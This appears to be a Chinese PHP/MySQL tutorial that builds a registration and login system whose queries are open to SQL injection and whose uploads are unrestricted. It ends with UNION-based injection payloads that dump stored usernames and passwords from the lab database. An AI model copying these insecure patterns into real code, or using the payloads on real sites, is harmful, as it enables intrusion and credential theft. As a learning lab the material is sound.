+-------+------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+------------------+------+-----+---------+----------------+ | id | int(10) unsigned | NO | PRI | NULL | auto_increment | | user | varchar(10) | NO | | NULL | | | pass | varchar(10) | NO | | NULL | | | phone | int(11) | NO | | NULL | | +-------+------------------+------+-----+---------+----------------+

增加数据

insert into kkk_tbl(user,pass,phone) values('admin','123456','1380000000');

删除数据

delete from kkk_tbl where user="admin";

接下来开始PHP联动

首先php创建数据库

//面向过程
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}
// 创建数据库
$sql = "CREATE DATABASE myDB";
if (mysqli_query($conn, $sql)) {
    echo "数据库创建成功";
} else {
    echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
?>

接下来连接数据的文件我们分开,然后包含引用

conn.php

<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}
?>

其他需要调用该文件的php

<head>
<meta charset=utf-8>
</head>
<?php
include("conn.php");
$sql = "create DATABASE myDaB";
if (mysqli_query($conn, $sql)) {
    echo "数据库创建成功";
} else {
    echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
?>

面向对象的

<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
} 

// 创建数据库
$sql = "CREATE DATABASE myDB";
if ($conn->query($sql) === TRUE) {
    echo "数据库创建成功";
} else {
    echo "Error creating database: " . $conn->error;
}
$conn->close();
?>
//使用pdo技术的
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
try {
    $conn = new PDO("mysql:host=$servername", $username, $password);
    // 设置 PDO 错误模式为异常
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $sql = "CREATE DATABASE myDBPDO";
    // 使用 exec() ,因为没有结果返回
    $conn->exec($sql);
    echo "数据库创建成功<br>";
}
catch(PDOException $e)
{
    echo $sql . "<br>" . $e->getMessage();
}
$conn = null;
?>

创建表(面对过程)

//需要设置进去的库
conn.php 文件  新增
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "myDB";
// 创建连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}
?>

生成表内基本框架

<head>
<meta charset=utf-8>
</head>
<?php
include("conn.php");
$sql = "CREATE TABLE IF NOT EXISTS `kkk_tbl`(
    `id` INT UNSIGNED AUTO_INCREMENT,
    `user` VARCHAR(10) NOT NULL,
    `pass` VARCHAR(10) NOT NULL,
    `phone` INT(11) NOT NULL,
    PRIMARY KEY ( `id` )
 )ENGINE=InnoDB DEFAULT CHARSET=utf8;";

    if (mysqli_query($conn, $sql)) {
        echo "数据表创建成功";
    } else {
        echo "创建数据表错误: " . mysqli_error($conn);
    }

    mysqli_close($conn);
?>

结合注册页面开始完成实验

网站首页源码

注册页面源码

<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
    if(empty($name) || 
    empty($password1) ||
    empty($password2) ||
    empty($shouji)){
        $ERR="账号密码、手机号码不能为空";
 //密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
    }elseif(strlen($password1)<8){
        $ERR="密码长度不足八位";
    }elseif($password1!=$password2){
        $ERR="两次输入密码不一致";
    }elseif(strlen($shouji)!="11"){
        $ERR="手机号码格式有问题";
    }else{
        $ERR="注册成功";
        echo $_FILES["tupian"]["name"];
        if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
            echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
        }else{
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
            // echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
        }
    }
}
?>
<form action="" method="post" enctype="multipart/form-data" > 
名字:
<input type="text" name="name" > <br> 
密码:
<input type="password" name="password1" ><br> 
重新输入密码:
<input type="password" name="password2" ><br> 
请输入手机号码:
<input type="passwrd" name="shouji" ><br> 
上传头像:
<input type="file" name="tupian" ><br> 
<input type="submit" value="提交">
</form>
<?php
 echo $ERR;
 echo "你注册的用户为:".$name."</br>";
 echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">

需求:

1、先判断是否有库,如果没有库就创建

2、判断是否有表,没有表直接创建

3、注册成功后直接将数据插入到表的内容里面

最后代码:

conn.php
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}else{
    // echo "数据连接成功</br>";
    if(mysqli_connect($servername, $username, $password, $dbname)){
    // // echo "数据库已经存在";
    // $conn2 = mysqli_connect($servername, $username, $password, $dbname);
    }else{
    echo "开始自动创建数据库</br>";
    $sql = "create DATABASE ".$dbname;
    mysqli_query($conn, $sql);
    echo "数据库创建成功</br>";
    $createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
        `id` INT UNSIGNED AUTO_INCREMENT,
        `user` VARCHAR(10) NOT NULL,
        `pass` VARCHAR(10) NOT NULL,
        `phone` VARCHAR(11) NOT NULL,
        `file` VARCHAR(30) ,
        PRIMARY KEY ( `id` )
     )ENGINE=InnoDB DEFAULT CHARSET=utf8;";
     $conn2 = mysqli_connect($servername, $username, $password, $dbname);
     mysqli_query($conn2, $createtbl);
     echo "数据表创建成功</br>";
    }
}
// mysqli_close($conn);
?>

    }
}

// mysqli_close($conn);
?>
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if(empty($name) && empty($password1) &&
    empty($password2) && empty($shouji)){
        $zhErr="用户名、密码、手机号码不能为空";
    }elseif(strlen($password1)<8){ 
        $zhErr="密码长度必须大于等于8位";       
    }elseif($password1!=$password2){ 
        $zhErr="两次密码不一致"; 
    }elseif(strlen($shouji)!=11){
        $zhErr="手机号码不符合规范"; 
     }else{

        //开始处理图片
        if (file_exists("tupian/" . $tupian["name"])){
            echo $tupian["name"] . " 文件已经存在。 ";
        }else{
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($tupian["tmp_name"], "tupian/" . $tupian["name"]);
            $tupianfile=$tupian['name'];
            echo "文件存储在:tupian/".$tupianfile;
        }
        $tupianfile=$tupian['name'];
        $sqlinsert="
            insert into kkk_tbl(user,pass,phone,file) 
            values('$name','$password1','$shouji','$tupianfile');
             ";
        echo "$sqlinsert";
        var_dump($conn2);
        if(mysqli_query($conn2, $sqlinsert)){
            $zhErr="注册成功"; 
        }else{
            $zhErr="注册失败";
        }
     }
}
?>
<form action="" method="post" enctype="multipart/form-data" > 
名字:
<input type="text" name="name" > <br> 
密码:
<input type="password" name="password1" ><br> 
重新输入密码:
<input type="password" name="password2" ><br> 
请输入手机号码:
<input type="passwrd" name="shouji" ><br> 
上传图像:
<input type="file" name="tupian" ><br> 
<input type="submit" value="提交">
</form>
<?php echo $zhErr."</br>";
?>
<img src="<?php echo  "tupian/".$_FILES["tupian"]["name"];?>"  alt="上传的图片" />
5.4 查询数据 {#54-查询数据}
从 MySQL 数据库读取数据 {#从-mysql-数据库读取数据}

SELECT 语句用于从数据表中读取数据:

SELECT column_name(s) FROM table_name

查询 字段、字段 从 表名 查询

那么php联动查询如下

<?php
include('conn.php');
$chaxun="select * from kkk_tbl;";
$lianjie=mysqli_query($conn2,$chaxun);
// var_dump($lianjie);
while($row=mysqli_fetch_assoc($lianjie)){
    $user=$row['user'];
    $pass=$row['pass'];
    $phone=$row['phone'];
    echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
}
?>

接下来我们可以自定义查询内容,比如用户通过搜索id可以查询到对应的用户,通过搜索账号可以查询到对应的id

首先也是先明白,怎么增加查询条件:

比如,我们只需要查询一个数据表内的id或者admin数据

原始查询代码
 select id,username from users where id=2;

优化后的php代码:

<?php
include("conn.php");
$chaxunsql=$_GET['chaxun'];
//增加一个判断,判断传入值是数字还是字符串
if(is_numeric($chaxunsql)){
    $chaxunsql="id=$chaxunsql";
}else{
    $chaxunsql="username='$chaxunsql'";
}
$chaxun="select id,username from users where $chaxunsql ";
$reslust=mysqli_query($conn,$chaxun);
//mysqli_fetch_assoc()   查询数据库结果并且赋值为一行
@$row = mysqli_fetch_assoc($reslust);
$id = $row["id"];
$username=$row["username"];
//提取row数字中的username字段
$html = "id:$id</br>username:$username</br>";
?>
<html>
<head>
<mate charset="utf-8">
    <h1>请输入你要查询的id或者账号名字</h1>
    <form action="#" method="get">
        <input type="text" name="chaxun"> 
        <input type="submit" > 
    </form>
</head>
</html>
<?php echo $html;?>

实验六:网站登录注册+登录页面Pro {#实验六:网站登录注册登录页面pro}

如何结合之前的页面写出一个完整登录页面呢,需要注意的是需要联动之前的注册页面

任务分解,先写出最简单的登录页面,只需要能够判断是否登录成功即可

<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select username,password from users where username='$username' and password='$password'";
$reslust=mysqli_query($conn,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
    $login = "登录成功";
}else{
    $login = "登录失败";
}
?>
<html>
<head>  
<mate charset="utf-8">
</head>   
<h1>请输入账号以及密码</h1> 
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit"> 
</form>
<?php echo $login;?>
</html>

然后继续丰满代码,增加跳转功能(未授权访问漏洞)

<?php
header('Location:youxi.php');
?>

继续增加代码,需要登录以后才能访问youxi.php

基础代码:

$_SESSION['login']='true';

只需要增加一个判断语句,识别只要login状态为true,即代表正常登录

<?php
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
    echo "您已经成功登陆";
} else {
    $_SESSION["login"] == false;
    die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
}
 ?>

最终完整的代码如下:

当前文件夹下的路径如下:

tupian 文件夹(用来存放图片)

login.php 登录页面

zhuxiao.php 注销页面

conn.php 数据库连接页面

zhuce.php 注册页面

session.php 管理session

youxi.php 假装后台页面

代码如下

login.php 登录页面

<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();

    if(mysqli_num_rows($reslust)){
        header('Location:youxi.php');
        session_start();
        $_SESSION['login']='true';
    }else{
        $login = "登录失败";
        $_SESSION['login']='false';
    }
?>
<html>
<head>
<meta charset=utf-8>
</head> 
<h1>请输入账号以及密码</h1> 
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit"> 
</form>
<a href="zhuce.php">点击注册</a></br>
<?php echo $login;?>
</html>

zhuxiao.php 注销页面

<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>

conn.php 数据库连接页面

<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}else{
    // echo "数据连接成功</br>";
    if(mysqli_connect($servername, $username, $password, $dbname)){
    // // echo "数据库已经存在";
    // $conn2 = mysqli_connect($servername, $username, $password, $dbname);
    }else{
    echo "开始自动创建数据库</br>";
    $sql = "create DATABASE ".$dbname;
    mysqli_query($conn, $sql);
    echo "数据库创建成功</br>";
    $createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
        `id` INT UNSIGNED AUTO_INCREMENT,
        `user` VARCHAR(10) NOT NULL,
        `pass` VARCHAR(10) NOT NULL,
        `phone` VARCHAR(11) NOT NULL,
        `file` VARCHAR(30) ,
        PRIMARY KEY ( `id` )
     )ENGINE=InnoDB DEFAULT CHARSET=utf8;";
     $conn2 = mysqli_connect($servername, $username, $password, $dbname);
     mysqli_query($conn2, $createtbl);
     echo "数据表创建成功</br>";
    }
}
?>

zhuce.php 注册页面

<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
    if(empty($name) || 
    empty($password1) ||
    empty($password2) ||
    empty($shouji)){
        $ERR="账号密码、手机号码不能为空";
 //密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
    }elseif(strlen($password1)<8){
        $ERR="密码长度不足八位";
    }elseif($password1!=$password2){
        $ERR="两次输入密码不一致";
    }elseif(strlen($shouji)!="11"){
        $ERR="手机号码格式有问题";
    }else{
        // echo $_FILES["tupian"]["name"];
        if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
            echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
        }else{
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
            // echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
        }
        $sqlinsert="insert into kkk_tbl(user,pass,phone,file) 
            value('$name','$password1','$shouji','$tupianname');";
        var_dump($conn2);
        if(mysqli_query($conn2, $sqlinsert)){
            $ERR="注册成功</br>";
        }else{
            $ERR="注册失败</br>";
        }; 
    }
}
?>
<form action="" method="post" enctype="multipart/form-data" > 
名字:
<input type="text" name="name" > <br> 
密码:
<input type="password" name="password1" ><br> 
重新输入密码:
<input type="password" name="password2" ><br> 
请输入手机号码:
<input type="passwrd" name="shouji" ><br> 
上传头像:
<input type="file" name="tupian" ><br> 
<input type="submit" value="提交">
</form>
<?php
 echo $ERR;
 echo "你注册的用户为:".$name."</br>";
 echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">

session.php 管理session

<?php
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
    echo "您已经成功登陆<a href='zhuxiao.php'>点击注销</a>";
} else {
    $_SESSION["login"] == false;
    die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
}
?>
youxi.php 假装后台页面.
<?php
include('session.php');
?>
<html>
<head>
<mate charset="utf-8">
    <h1>游戏页面</h1>
    <a href="select.php">点击账号以及ID的对应关系</a>
    <a href="jsq.php">数字炸弹</a>
</head>
</html>

6/6、PHP登录页面实战 {#66、php登录页面实战}

实验七:综合作业(注册、登录、玩游戏) {#实验七:综合作业(注册、登录、玩游戏)}

用户登录以后可以直接打开多个链接,比如之前写入的用户查询页面,计算页面,可以将我们之前写入的都写进来

思路:

将session功能单独变成一个文件,在不同的页面里面引入即可

select.php攻击实战(sql初次尝试)

轮子:admin' and '1'='1

查询字段数量:admin' order by 2--+'

查询回显位置:-admin' union select 1,2--+'

查询数据库库:-admin' union select database(),2--+'

查询数据表:

select table_name from information_schema.tables where table_schema="kkk";

变形:

-admin' union select table_name,2 from information_schema.tables where table_schema='kkk

继续查询字段:

-admin' union select group_concat(column_name),2 from information_schema.columns where table_name='kkk_tbl

查询数据内容:

-admin' union select group_concat(user,pass),2 from kkk_tbl where '1' ='1

赞(4)
未经允许不得转载:工具盒子 » PHP 基础4-6